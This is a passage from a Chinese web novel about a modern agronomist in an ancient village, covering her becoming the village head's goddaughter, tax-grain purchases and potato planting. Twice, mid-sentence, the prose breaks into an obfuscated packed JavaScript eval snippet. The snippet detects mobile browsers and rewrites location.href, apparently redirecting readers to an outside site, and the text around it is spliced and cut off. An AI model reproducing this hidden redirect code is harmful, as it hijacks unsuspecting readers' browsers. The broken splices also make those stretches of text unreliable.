程明月心中好奇,轻轻地走过去,从她的背后探头一看。只见吴村正前边放了一小堆棉花,脚边放在一个小瓦罐。吴村正拿起一朵棉花,将棉花在地上摊开,然后用手指轻轻捏住棉籽,将其从棉花中摘出,放到瓦罐里。 她的动作小心翼翼,仿佛在做着一件非常神圣的事情。 程明月的影子遮盖在吴村正身上,吴村正吓了一大跳,身体猛地一震,跌坐在地上,把瓦罐都打翻了,棉花籽从里面撒了出来。吴村正的脸上露出惊慌之色,她抬起头来,看到是程明月,脸更是涨得通红。 程明月:尴尬。。。 为什么我要出现! 本来经历了昨天的事情,吴村正自觉对她有恩,她和吴村正的关系就能迅速拉近的!可现在被她戳破吴村正偷拿她的棉花种子,只怕以后吴村正心里有个疙瘩,反而会对她防备起来。 把村正得罪了,她以后还怎么在桥头村混! 人都是这样,为了维持面子形象等人设,习惯帮助自己曾帮助的人。 现在吴村正的小把柄被她抓住,饶是以后程明月表现的再尊敬,也很难取得真正的信任啊,她不想回到刚穿越过来时,每天担惊受怕的防备周围人的日子了啊。 18. 白露06 吴村正看了看地上的棉花籽,又看了看程明月,吞吞吐吐地说:“我是在,在帮你取籽……” 吴村正说了一句就编不下去了,叹了口气,用几乎只有她自己能听见的声音说:“我是看你棉花种的好,想拿点棉花籽子回家种。是我一时被迷了心,没跟你说过就自己拿了。” 程明月看着吴村正那副窘迫的样子,心中不忍。 她赶紧将吴村正扶起来,向她行了个大礼,又将地上的棉籽收拢到瓦罐里,双手捧着递到吴村正面前。 吴村正的脸依旧红着,她低下头,有些不好意思地扣着裤子边缝。 她一辈子为人做事敞亮,以能称得上一句‘问心无愧’为荣,如今被当场捉到趁着人家生病,偷摸跑来偷人家种子,她脸都不知道往哪搁了。 可昨天晚上吴村正回了家,回想起叶云峥说程明月是因为收棉花才淋雨发烧,想到她家地里那大朵绽开的雪白棉花,她翻来覆去愁的一夜都没睡着。 天不亮就把吴俏喊了起来,顶着星光就往山上赶,她安慰自己说,是因为怕程明月家漏雨,把好好的棉花泡水沤烂了。 她们找到胡二娘领路来到程明月家,上次吴村正来没仔细看程明月的房子,看见之后吓了一跳,她们村的泥瓦匠老张头手艺很好,十里八村的人盖房子都请她,请不起的也会来跟她取经,总之桥头村的房子都盖的不差。 可程明月的房子吧……都不如她家牛棚。 她赶紧撵吴俏去把老张头请来给程明月修房子,自己则带着胡二娘把程明月屋里的棉花全抱了出来,在晾晒场上摊开,不停的翻晾。 过了一会吴俏带着老张头回来了,她把手里的耙子递给吴俏之后,也不知道为什么,当时就鬼迷心窍一般,偷偷抱了一堆棉花到屋子后头了。 吴村正的脸依旧红着,她低下头,有些不好意思地说:“明月,我这也是一时糊涂,实在是对……” 吴村正也不知道自己当时怎么就鬼迷了心了,就觉得她对程明月有恩,还帮她请大夫,还帮她修房子,拿她两个棉花种子算什么。 眼看吴村正在自己面前都快抬不起头来了,程明月心里更急。 这棉花和玉米一样,都是杂交育种,只要不懂选种杂交,就是把种子拿走也没用。所以她倒是不担心有人偷她种子,反而还有点担心自己留的纯合子亲本太少,一代代的传下去留不住优良性状。而古代不能分子标记辅助选择纯合子,纯靠自交和测交需要花费大量人时,她一个人力量微薄随着时间推移留不住高产亲本。 农学不是魔法学,农林也不是武林,一个人的力量无法掌控世界,现代每个种子专利研发的背后往往是一个核心领袖加无数默默无闻的基层人员,这些人有基层科研学生,也有当地农民教工。 因此,她总是要融入这个世界。 而农村是一个由宗族血脉邻里构成社会,古代更甚。 程明月孤身一人来到这里,就算现在多带了个叶云峥,也是无根无基的。 她之前就听胡二娘说这附近有姓家周的大户横行乡里很是厉害,也听叶云峥说过他们逃荒之前,当地的地主对佃户毫不留情,逼迫他们交齐租子,导致许多村民因无法承受而饿死,不想死的只有走上逃荒这一条路。 从这些天的接触来看,吴村正是个正派人物,胡二娘更是对她十分敬重,连李大夫都会因为吴村正少收她诊费,这说明什么?这说明吴村正的品行是有保障的啊! 她太想结交吴村正了! 可她想要的是吴村正对她像关心小辈一样爱护,而不是愧疚啊! 眼一闭心一横,程明月直接上去抱住了吴村正,她嗓子红肿发炎,一发声就觉得有刀片在喉咙里割,在吴村正将“对不起”三个字说出来之前,她用嘶哑的声音饱含感激的说:“吴姨,您不但救了我的命,帮我修屋子晒棉花,还怕棉籽泡久了坏掉,亲手帮我剥棉籽!从我母亲去世后再没有人对我这样好……我真的不知道该怎么感谢您!” 吴村正:嘎? 发生了什么误会?她不但不怪我,还要谢我? 其实跪下去抱住吴村正的大腿效果更好,可程明月是个现代人,跪不下去。 吴村正见程明月误会了,张张口想解释。 程明月哪儿会给她解释的机会,抱着她的胳膊就开始讲自己那天夜里多么害怕,如果没有吴村正让吴俏把李大夫请回来,她可能小命都没了,她死了不当紧,她家的云峥一个男人,恐怕也难活下去,那就是两尸两命。 总之,吴村正是个大好人,救了她程明月一家两口。 吴村正听得脸都发烫了,她不由得上手摸了摸程明月的头,冰凉,跟她的脸比凉多了,也没发烧啊,怎么就说胡话了呢? 这时程明月已经把话题拐到房子年久失修,她一个小孩子也不懂怎么修房子,怪她平时性格孤僻内向,也不认识村里的人,需要修房子了都不知道找谁。吴村正上来就把村里最好的泥瓦匠派过来,她都不知道怎么感谢。 找人给程明月修房子确实是吴村正的一片好心,吴村正的腰杆直了起来。 村里人的房子确实都不是县城那种砖瓦房,请不起泥瓦匠木匠的人家,房子确实破,但破成程明月这三间土屋的不好找。她感慨说:“你家这房子也太破,过不了冬的。你娘也是,这么多年也不说找乡亲帮忙把房子固一下,就硬凑活。” 说道这个吴村正有些伤感:“当年我也是没法子,看着你程家的地被周家占走,你娘带着你来了山上。”她那时候还不是村正。 “你娘也是性格怪的很,不喜欢跟人接触,家里土地被占了之后更是恨上了村里人,一个人跑到沟后头生活,谁要是敢从那个桥过,都被她拿着耙子打出去。” 村子里的人都知道程明月她娘古怪,就算去山上捡柴,过了桥都直接转弯往深山里走,没人去程家。 “我这个村正当的也不称职……就算跟你娘之间有矛盾,但你娘死了之后也没说来看看你,让你一个人在山上住着破房子,还差点被冻死……”说着吴村正也流下了泪水,当初她们几个一起来桥头村开荒时感情多好,后来因为一些鸡毛蒜皮的小事儿,又有周家在里头挑事,竟然都不来往了。 “你家连个厚棉被都没有,我还……我还……”吴村正越想越羞愧,程明月娘什么时候没的她不知道,程明月怎么在山上过活她也不知道,吴村正自从和程家闹掰从来没看顾过她家,从她家屋顶上的洞和残缺的墙壁能看出程明月过得也十分艰辛。她咋就被那满地金黄的玉米和雪白的棉花迷昏了眼,厚着脸皮跑来偷一小辈家的棉花种子了呢? 可若是让她认错……也错过那个劲儿了,要是刚才程明月质问她,她指定就认错了。但程明月现在一心把她当做救命的恩人了,这让她怎么认错啊。 程明月:咋你哭就这么容易,我哭就哭不出来? 她清了清嗓子,顺杆搂着吴村正也装作难过的样子呜咽两声,便听到吴村正认真说道:“明月,你要是不嫌弃,就认我个干娘,以后干娘把你当亲闺女待。” 程明月:还有这等好事? 她也不管嗓子疼了,亲亲热热的喊了一声:“干娘!” 一声“娘”出口,程明月眼里也自然的汪出来一泡泪花,她来到古代这么久,一直孤军奋战。如果说买下叶云峥是她找到一个心灵慰藉,那么认吴村正为“干娘”这一刻,她才真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13733588|144602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真切切的感觉得自己有了根基。 等到在程明月家晾晒场上干完活找过来的胡二娘和吴俏,看到她们两人抱头痛哭的样子,眼睛差点没跌出来。 得知程明月认吴村正为“干娘”了,胡二娘真心的为程明月感到高兴,吴俏更是乐的一蹦三尺高,挽着明月的胳膊说:“明月,今后咱俩就是亲姐妹了,你可不能藏私哦,你钓鱼的那两手得全部教给我才行!” 吴正夫和叶云峥听到这个消息时,正在家中准备晚饭,听说仅半天的时间自己多了个干女儿,也是高兴的不知道怎么好,直说要杀只鸡贺贺,被程明月拦住了。 村里的人们生活艰苦,平时吃的都是自家种的粮食和蔬菜,很少有肉吃。只有在过年过节或者有喜事的时候,才会杀只鸡庆祝一下。 这会儿的程明月嗓子肿的已经完全讲不出来话了,她拼命的使眼色给叶云峥,好在叶云峥看懂了她的意思,扯住要去磨刀的吴正夫:“已经快到中午了,再说正是农忙的时候,本来家里都因为我家……明月,耽搁许久了,等闲下来了再说吧。” 吴正夫这才罢了:“也是,等稻子收完再说吧。” 又撵吴俏去捉鱼中午来吃,吴俏开心的拉着程明月去沟里捉了两条回来,一家人围在一起热热闹闹的吃饭,吴村正还把她买回来那个叫满仓的长工喊了回来,她一般住在地头小屋里,方便给吴村正家看地。 吴村正对程明月说:“你家那个屋子确实得修,就连满仓住的那个屋子都比你的好。” 满仓是个中年妇人,会养牛,名字又好。所以当初吴村正花了几斗粮食买下了她。 满仓端着碗憨厚的笑着,说:“东家,地头倒伏的稻子俺都扎把扶起来了,扶不起来的也割下来了。” 吴村正叹气,她自然知道自家稻子倒了不少。 “有多少扶不起来的?” “两捆。”一般来说扶不起来的青稻只能喂鸡鸭牛,满仓却说:“东家,稻谷已经开长了,只是米粒有点小,就别喂牛了,俺晾晾把稻穗剥下来也能吃。”满仓是经历过逃荒的人,当时饿极了连土都吃,树皮都是好东西,何况青稻。 她又补充道:“咱地里已经是好的了,旁边地里倒了一半的稻,能扶起来七八成就不错了。” 吴村正摇了摇头:“吃青稻哪能吃饱?再等个十来天,稻子也得收了,还得翻地种麦,不吃饱你哪有力气干活。” 只是这么一来,秋税指定是难收齐了,自家倒是有屯粮,可村里其他人呢?幸好有程明月给的四两多银子,得赶紧去换些粮食回来才是。 手里有粮,心里才能不慌啊。 想到这儿,她问程明月:“明月,我吃完饭想进城一趟,换些麦子回来,你要不要和我一起?我看你家也没种谷子,只有一点豆子,不够到时候纳秋税的。” 程明月赶紧点头表示同意,她连比划带气声的问吴村正要交多少粮。 吴村正说:“水田一亩一斗五升稻谷,旱田一亩一斗谷子或八升豆子。” 程明月心里换算了下,也就是说水田一亩30斤稻谷,旱田20斤谷子。 好像也不多,正常来说水稻亩产1000斤,小米产量800斤是一般水平,程明月不是学传统主粮的,对大米,小米,麦子的研究不是很深,只记得老师经常说和以前比翻了整整一倍什么的。 如果水稻亩产500斤,小米亩产400斤,那这稅收的确实不高,只有将近二十分之一。 当赶路途中程明月拉着吴家的板车听吴村正说了这里的亩产的时候,惊讶的嗓子都好了。 她声音颤抖:“多少?水田12斗?旱田10斗?这还是风调雨顺的时候?!” 19. 白露07 吴村正叹着气说:“是啊,丰年或许能多点,上好的水田或许能收个两石,旱田一石多点,但今年肯定收不来这么多。前段时间长苗的时候旱的厉害。旱田能收八斗,水田……唉……能收四斗就不错了。” 多少?四斗?80斤? 一亩地? 然后还要交30斤的税? 面朝黄土背朝天的干半年,一亩地才剩50斤稻谷?就算能种两季,一年岂不是才100斤?那一个人要种多少亩地才够活下去? 没有农业机械加持,一个人种三亩稻子顶了天了,有牛也最多翻个倍,何况桥头村只有村正一家有牛啊! 就算是丰年,按一亩地能产两季粮食算,一亩地也只能剩下两三百斤,可一个人一年正常来说要吃三百斤粮食啊,老人和小孩也得一二百斤。[1] 这个账根本算不平啊! 程明月意识到一个问题,她老师说的跟以前比提高一倍,老师口中的以前可能是指解放初期而不是古代! 怪不得这里农村男人和女人都一起下地干活,也没搞出来过裹小脚这种奇葩损害劳动力的习俗出来啊,因为大家一起下地才能勉强裹得住吃啊,要知道老人和小孩都不能算劳动力啊。[2] 怪不得一亩地只收30斤粮食,不是朝廷不想多收,而是再多收,百姓真养活不了自己啊。 程明月这一路也没再讲话,恍恍惚惚脑子里不知道在想什么,吴村正心里有事儿,也没注意程明月的异常,两个人沉默着走了将近一个时辰,才走到山底下县城里头。 找到粮商问了问价格,粮铺掌柜说:“看你买多少,买的少一斗二十二文。” 吴村正掏了之前程明月给她的那块银子,递给门口的伙计:“给我称称这块有多少,全换成粮食。” 伙计接过银子,用小秤称了:“四两二分,给你一斗饶两文,按二十文一斗算,一共二十一石” 桥头村一共八百多亩地,也就是说这次秋粮至少要交八百多斗,也就是四十多石,这么算来,亏空应当是填上了,剩下的二十多石村里人怎么也能挤的出来。 就是到明年村里收麦子前,大家得勒紧肚皮过日子了。 吴村正想起什么,对程明月说:“我都忘了,当时你还多给我一两多,你也别买了,你家就两亩薄田,到时候交两斗麦子也就够了,我这儿给你一起出了。” 程明月问:“干娘,你刚刚说秋税旱田交谷子和豆子,小麦也行吗?” 吴村正说:“当然行,年年旱涝不定,要是小麦收的好,交粮的时候拿五月收的小麦顶了秋税的稻子,或者拿九月收的稻子顶了春税的麦也是常有的事儿,只是不能是陈年的米麦,若是得话就要打折扣了。” “不是小麦行吗?比如玉米?” 吴村正赶紧说:“那玉米可是金贵物,哪能交税去,换成钱再买麦子多好!你可别打你家地里那点玉米的主意,你不是说那是留的种吗?今年你家的秋税你就别管了,干娘自会给你交上去。” “不是不是,我不是说今年我要用玉米交税,我的意思是……额……比如玉米往后不值钱了,种的到处都是了,可以用玉米顶替谷子交税吗?” 吴村正想了想:“这个不好说,得看税官的意思。但一般是不让用其他东西顶的,朝廷年年收的也就稻谷,谷子,麦子这三样。” 可惜了。 要是能顶,她那几筐土豆今年就能派上用场。 她一共有能种两亩地的发芽土豆,土豆的产量不是玉米水稻这种地面作物能比的,不算高产的土豆,一亩地都能产五千斤,两亩地就是一万斤,那就是整整五十石。 能顶上桥头村一年的税了。 程明月说:“要不我也买点吧,我家也没粮食了,再说了,我上次卖玉米不是赚了点,我多买一点万一到时候不够还能出点力。” 吴村正瞪了她一眼,然后把她拉到一边,小声说道:“买这么多,回头村里人看见咱俩拉这么多粮食回去,都一哭二闹的不交粮了。” 她是想帮着大家挺过这关,不要有人因酷税饿死,不要有人交不起税外逃,自己也保住村正的位置,不用受罚。 但她又不是菩萨,没有道理一个村正要养活一个村子的人。 “再说,你那点银子看着多,实际根本不禁花。”吴村正给程明月算了笔帐:“我看你棉花种的不赖,也收了百来斤在家里,将来得找木匠打个织布机吧,还得打个纺纱机吧,将近一两的银子出去了。” “还有你那房子,最近农忙,老张头只能给你简单加固下,等回头农忙过去大家有功夫了,你得赶紧把房子修了,这上头得花个一二两银子吧。” 程明月连忙说:“我还想再盖一间,哦,还有,我想垒个土炕。” 吴村正痛心疾首的看着程明月,这小姑娘平时看着也挺勤劳肯干,怎么跟吴俏一个毛病,喜欢享乐安逸呢? “那就还得花个二两,五两银子出去了。”吴村正压低声音:“盖什么房子,你家就两亩地,你不想趁着年成不好,多买几亩吗?” 程明月眼睛亮了:“那得花多少呀!”她就知道跟吴村正处好关系利大于弊,这不,不用她开头,吴村正就帮她谋划土地的事儿了。 吴村正说:“唉,年年都有那吃不起饭不得不卖地的,我来帮你瞅着吧,五六两买亩水田,三四两买亩旱田应该成,就是还得看着离你家地近的地儿买,不然你种着也不方便。所以听干娘一句,别急着盖房子,等你把田买了还是往山下住,不然上个山一炷香的时间就过去了。” 程明月算了下,她手上有将近二十两银子,抛去置办织布机和盖房子得钱,还剩十五两,还就能买三亩水田或者四亩旱地。 挺好的,这样她的棉花,土豆和玉米就能种开了,不用挤在一个田里了。 以前是为了研究套种才种一起,现在哪还有时间研究那个,多种几亩地多出点粮食才是真道理。 不过这么多地,她和叶云峥两个人可能会种不过来,得再请个帮手。 现在她已经不是当初孤身一人只敢买男人了,到时候她就直接请村里的女性帮工,又便宜又有力气,真好,程明月想想就开心。 至于吴村正说的往山下住,她暂时并不打算考虑。那两亩实验田是她来到古代后安身立命的基础 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这些都是不重要的,只是程明月没想到临江城这么小,只是来买个粮食就能撞见莫老汉,她一边拉着板车一边在心里想,在叶云峥心里把前事放下之前还是少带他来临江县城,不然他撞见前任公爹,只怕又要心里难受。 当木板车摇摇晃晃的停在桥头村吴家门口时,木板车横杆前的人却换成了吴村正,旁边站着一个一脸羞愧的程明月。 吴村正把车子放下后还安慰程明月:“你本来就病没好清,拉不动也正常,没累着吧,路上我让你上来你还不愿意。” 程明月拉着板车刚出了城,就差点摔了一跤,吴村正吓得赶紧接过板车,路上还不住的劝程明月坐到板车上,她可以把她和粮食一并拉回来。 程明月简直快无地自容,坚定的拒绝了。 回到吴家时,刚好赶上晚上的一顿饭,吃完饭吴家人全都热情的挽留程明月再在吴家住一夜,可程明月说惦记山上的家,还有地里的玉米种子和棉花。 听到这儿吴村正赶紧说:“是得回家看着,棉花我交代过胡二娘,她下午应该给你收回屋里了,但一天未必能晒干,明天早起你记得再检查检查。” 20. 白露08 回到山上的家中,天色已经暗了下来,叶云峥一只手里提着吴正夫送的蔬菜瓜果、酱菜之类的,一只手抱着一卷铺盖,铺盖卷得整整齐齐,隐隐散发着阳光晒过的干爽味道。程明月则扛了一袋子粗面。 算得上是满载而归。 叶云峥自从那日下山后便没再回来过,如今回到这间简陋的小院中,竟有种鸟雀还巢的亲切感,他来到此处连一个月都不到,竟然已有这里是他家的感觉了。 古人说吾心归处是吾乡,或许就是这个意思。村正家虽好,却不如自己家安心。 想到这儿,他转头看向程明月,程明月估计也是一样的感受,她扑倒自己的木床上翻腾了好几圈。木床发出轻微的嘎吱声,叶云峥无奈地摇了摇头,走上前去将她撵下去,然后开始细心地把床铺好。又去拿了扫帚和抹布将家里简单打扫了一下,才放程明月进屋里。 程明月已经在三间屋子里都转了一圈,她跟叶云峥兴奋地说:“老张头手艺还蛮不错的,我看房顶上都已经盖住了,内间这儿的墙壁也修好了,这下就算是刮上次那样的大风也不至于屋顶都给掀翻了。” 叶云峥却带着一丝担忧地说:“看着虽好,若是冬天下雪却未必禁得住。” 程明月听了点头称是:“干娘也是这么说的,不过快农忙了,大家都忙着自己田里的事情,找不到人。等农忙过去她就找人来帮咱们把房子翻修一遍。到时候把房子好好加固一下,最好再弄点保暖的措施,这样冬天住着就会踏实多了。” 咱们。 这个词从程明月嘴里说出来的时候,叶云峥的心仿佛被什么轻轻触动了一下。 他很喜欢从程明月嘴里听到这个词,就仿佛他和程明月才是一个屋檐下真正的一家人,他们将共同面对生活中的风雨阳光,共同度过每一个清晨与黄昏。其他的人就算再亲近也只是外人。 可还没来得及暗自回味这份欢喜,下一秒他便听到程明月说:“到时候沿着我这件屋,给你也盖一间,就不用再委屈你睡在我这屋的外间了。”在程明月眼里,有两个门的房间不足以称之为房间,不过是个过道,充其量算是客厅。 说着她就把白天吴村正跟她盘算的修屋盖房,买纺车织机和田地的事情说了,二十五两银子安排的明明白白的。 听着她欢快说着打算如何布置他以后的独立小房间,叶云峥手上的动作逐渐变慢,像是被什么东西牵绊住了思绪。他正在擦拭桌子的手渐渐停了下来,抹布还握在手中,却忘记了动作。 程明月坐在小凳子上,双脚像两个调皮的小鼓槌一样摇晃着,脸上带着没心没肺的笑容,她仿佛邀功似的和他分说有这么一间独立房间的好处:“等你有了自己的房间,就能拥有自己独立的私人空间,想换个衣服什么的也方便,不用再防备我了。你看现在,每次你换衣服都得小心翼翼的,生怕我突然闯进去,多不方便呀。而且你也能有自己的小角落,可以给你打个柜子,你也能放一些自己的小物件,像小梳子之类的。” 程明月觉得他住在自己的外间到底是有些不方便,孤男寡女朝夕相处,经常会推门撞到对方衣不蔽体,或者睡眼朦胧的模样,每当这个时候,总是有一抹红晕从他的脖子一直晕染到耳朵上去。 好看是好看,但程明月心里想着,他毕竟是个古代封建男子,总是要尊重他的习俗,给他几分尊重。 他因为过去的经历,本就有些敏感自卑,所以更不能让他觉得自己轻视他,看不起他。 叶云峥心内酸楚,他咬了咬唇,轻轻启齿道:“我觉得,家里缺个放东西的地方呢,还有,洗澡的地方之前也是临时搭的,等冬天就不能用了。” 他虽然和程明月接触时间不多,对她的生活喜好却一清二楚,知道她非常爱干净,只要不是累的沾床就睡,睡前是一定要洗澡的。她不愿意在吴村正家睡觉,多少有觉得在别人家洗澡不方便的因素。 程明月晃动的双脚渐渐停下来,陷入沉思:“是啊,家里确实缺放粮食的地方。等土豆挖了没处放。也没处洗澡。” 其实冬天在厨房洗也行,厨房烧柴火也暖和,正是洗澡的好地方。问题是她们家的粮食大部分都堆在厨房里,如果冬天在厨房洗澡的话,雾气升腾,那些粮食都会受潮的。 也就是说她要么多盖一间储物室,要么多搭一间浴室。 再加上给叶云峥多盖的一间卧房,就要盖两间屋子,开销就有点大了。 叶云峥又说:“你不是见到村正家的牛觉得好,想再咱家也养上一只吗?我觉得同样是花钱,与其盖间卧房,不如搭个牛圈,挨着盖间柴房,既能养牛又能放柴火堆粮食,若是下雨下雪的,还能把牛牵到柴房里避雨。” 程明月觉得他说的很有道理:“对啊,我怎么没想到!这样一举两得,柴房不用额外平地,能省不少钱。” 叶云峥见程明月已经开始顺着他的思路去思考了,松了一口气,说:“粮食和柴火都放到柴房里,纺车和织布机正好可以放到我那间屋里。只是这样的话,怕是就没钱再多盖一间房了。不过现在的情况也只能先顾着实用的地方,等以后条件好了再考虑其他的。” 程明月想了想,柴房加牛圈算是工作间,有工具属性,卧室却只能充当润色生活的作用。不论从哪个角度考虑,确实柴房更重要一点:“那就只能委屈你再在外间多住一段时间了。” “我没关系的,咱们又不是什么富贵人家,住的地方没必要那么讲究。”叶云峥嘴角露出几不可查的微笑,继续打扫起来房间。 叶云峥的话有道理,农村人家确实对住的地方不是很讲究,很多人家一家好几口都睡在一间屋子里,这也是为什么吴村正听说她要盖一间卧室,脸上全是不理解。在吴村正的观念里,房子只要能遮风挡雨,有个睡觉的地方就足够了,何必浪费钱财去单独盖一间卧室呢。 只是这样的话,就要委屈叶云峥再在她外头凑活一阵子了。 以前给他安排住处时,她与他还不曾相识,在程明月心里,是给一个新来的帮工安排睡觉的地方,自然不能委屈自己体谅帮工。可和叶云峥相识后,她却 程明月不再纠结这个,她看叶云峥一直在打扫,自己反而闲着什么也不做,跑到院子里想把院子收拾收拾,忽然,她从院子角落里发现了一个扑腾乱动的东西。 她的眼睛里闪烁着兴奋的光芒,屏住呼吸,悄悄地跟在母鸡后头。那两只母鸡在院子里踱步,丝毫没有察觉到危险的临近,程明月瞅准时机,一下子就伸出手抓住了它们。 “叶云峥!你快来看!竟然有两只能动的母鸡。”程明月脑子里已经浮现出了鸡汤浓郁的香味“正好明天咱们喝鸡汤!” 白天在吴村正家,吴正夫说要杀鸡庆贺吴村正认了她这个干女儿的时候,天晓得她费了多大的意志力才找到理智,劝吴正夫不要杀鸡。 程明月原本买鸡的时候,觉得以她的性格,真到了杀鸡那天肯定会心疼。 万没想到,心疼是心疼了,却不是她想象的那种心疼法,她一想到养了这么久的鸡全跑了,连个毛都没摸到就心疼的紧,觉得早知道不如刚长大就宰了吃掉。 叶云峥从窗户看到两只鸡在程明月月手里扑腾,脚步匆匆从屋里跑了过来,过去的半个多月这几只鸡一直是他在喂。 叶云峥赶紧从屋里跑了过来,看到小鸡在程明月手里拼命挣扎,过来把它们解救下来,对程明月说:“都养这么大了,回头就能下蛋了,怎么能这个时候杀呢!你看这鸡长得多好,再过不久就能给我们下好多蛋了。这些蛋可以用来孵小鸡,也可以拿来做菜,杀了吃肉就太可惜了。” 程明月道:“留着万一又刮风吹跑了就白养了。” 叶云峥睫毛扑朔:“这次搭的结实一点便不会塌了。” 叶云峥领她到鸡窝处,指挥她把鸡窝的砖头和树枝拾起来重新垒了一个鸡窝,又跟她说:“便是要杀,也等养大点再说,还这么小呢。” “好吧。” 程明月失望。 她多么想吃两条腿的肉啊,自从她来了这里,就只吃过没腿的肉(鱼),两条腿的肉一次都没吃过,四条腿的更是想都不用想。 她叹了口气,看看已经黑了的天色,现在去抓鱼也来不及了,明天她还得翻地好种土豆,种地这事儿赶天时,等冷了再种土豆,产量会受影响,她接下来一段时间怕是很忙,没时间去抓鱼,估计连没腿的肉都吃不上。 到底什么时候才能过上顿顿有肉的生活啊。 为什么这里的人都不馋呢?叶云峥,胡二娘,吴家三口,全都是觉得吃饱就满足了,仿佛只有她,吃饱了之后还想吃肉,想吃糖,想用油炸薯片和薯条安抚她的胃。 现代社会里有各种各样的美食,肉的种类繁多,烹饪方式也多种多样,而现在她却只能吃用最朴素做法做的最简单的食物。 算了,再忍一忍,等土豆种出来她就能吃上炸薯条了。 接下来的四天,叶云峥和程明月把几乎将所有的时间和精力,都投入到了土地的翻耕里面。 土地翻耕,向来是累活重活,古代农具又简陋,还好程明月家有个犁,否则就要用锄头把两亩地一锄头一锄头的翻完,不光辛苦还耗时。 即便有犁,拉犁的过程也不是一个人能轻松完成的。当初程明月下定决心要去山下买个人回来,就是因为她一个人拉不了犁。不能像现在这样,她在前面弓着背拉动沉重的犁把,叶云峥则在一旁扶着犁,控制方向和深度。 脚下的土 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程明月刚病了一场,家里也有点积蓄,其实没有干的那么急。她已经很注意控制每天工作量了,中午烈日当头时,就会带着叶云峥去一旁阴凉处休息。 饶是如此,她依旧累的每天回去倒头就睡,一点也不想说话,她感觉自己的身体像是被抽空了一样,所有的力气都被土地吸走了。 可叶云峥竟然还有时间把棉花白天倒腾出去晒,晚上回来收,以及每天从厨房变出来两顿饭。 对,变,在程明月眼里,就是变出来的,她是真不知道他到底从哪儿偷出来的时间去做饭。 所以当程明月看到叶云峥累的手抖,心里满是愧疚,难受的不得了,她觉得自己这个雇主差劲极了,早知道这个活这么累,又不是没钱,怎么不早点买头牛回来呢? 叶云峥听着程明月愧疚的说完后悔没买牛,没忍住笑了出来:“这算什么,我以前可是一个人操持全家的活,还要赶牛种地……”说着,他停了下来,他之前便发现程明月每次听到他之前的事都会有些郁闷许久。 他便换了个角度,道:“再说了,现在就快收谷收稻种小麦了,谁会卖你牛啊,能买也得花大价钱,太不值得了。而且牛要从小养才能听你的,大家都是初春买牛犊子回来养,哪有秋天买牛的啊。” 程明月想想他说的有道理,也只能作罢。 等到两亩地翻完,终于空出手来,程明月天不亮就去河里捞了两条鱼回来。 叶云峥拎着鱼说:“这几天明月辛苦了,是得做点好吃的犒劳犒劳你。中午随便吃点煎鱼,晚上就把煎鱼炖了吃。” 他说这话的时候嘴角和眼睛都弯弯的,非常好看。就是程明月听着,觉得很像是在调侃她吃不得苦,要不就是在笑话她嘴馋。 程明月听着只笑,这说明如今的叶云峥已经不像初相识那样拘谨了,是好事。 她巴不得他能放下过去。 和耕地相比,种地相对来说没这么累。所以今天程明月让叶云峥在家做鱼,她自己去种土豆。 嗯……插秧还是很累的,但种土豆很简单,土豆是个公认的懒汉作物,只要挖个坑,埋点土,数个九九八十一,种一个,长十个……不行不行,如果种一个只能长十个,那就说明她之前的育种失败了,起码得给她长二十。 程明月搬着一筐土豆种子到田边,盘腿坐了下来,除了玉米留种的那片土地,其他的玉米杆子和棉花枝丫都被她清掉了,凡是能摘的棉花都摘走了,有些剩的青色的棉桃她也没有管直接清掉。 吃一堑长一智,她不能再干这种捡芝麻丢西瓜的蠢事了,不能让这些未开的棉桃影响到土豆的播种。 可当一切准备就绪,挖坑翻土就能开种了,她却陷入深深的沉思。 土豆这个东西,如果要说好处,那是一天都说不完。 高产,绝对的高产,在现代,水稻一亩地突破两千斤大家都会欢呼雀跃,可土豆呢,随随便便就能长个四五千斤。 就连我们国家都研究土豆主粮化。很多专家都在搞这个,研究土豆很好拿经费,这也是为什么程明月会有几筐土豆种薯。 适应性强,贫瘠的山地上都能长。 营养还丰富,适应性又强,种植周期也短,还挖出来就吃,不像水稻小麦谷子要脱壳。储存也方便,堆起来就能储存,也不像玉米还得费劲地剥下籽粒。 可以说,再没有比它更高产的粮食了,很多地方大规模种土豆后,人口都迎来了一波大爆炸。 不愧被赞誉为“大地的馈赠”,是大自然赐予人类的珍贵礼物。 可就是这么个礼物,却间接导致了爱尔兰□□,饿死了一百多万人。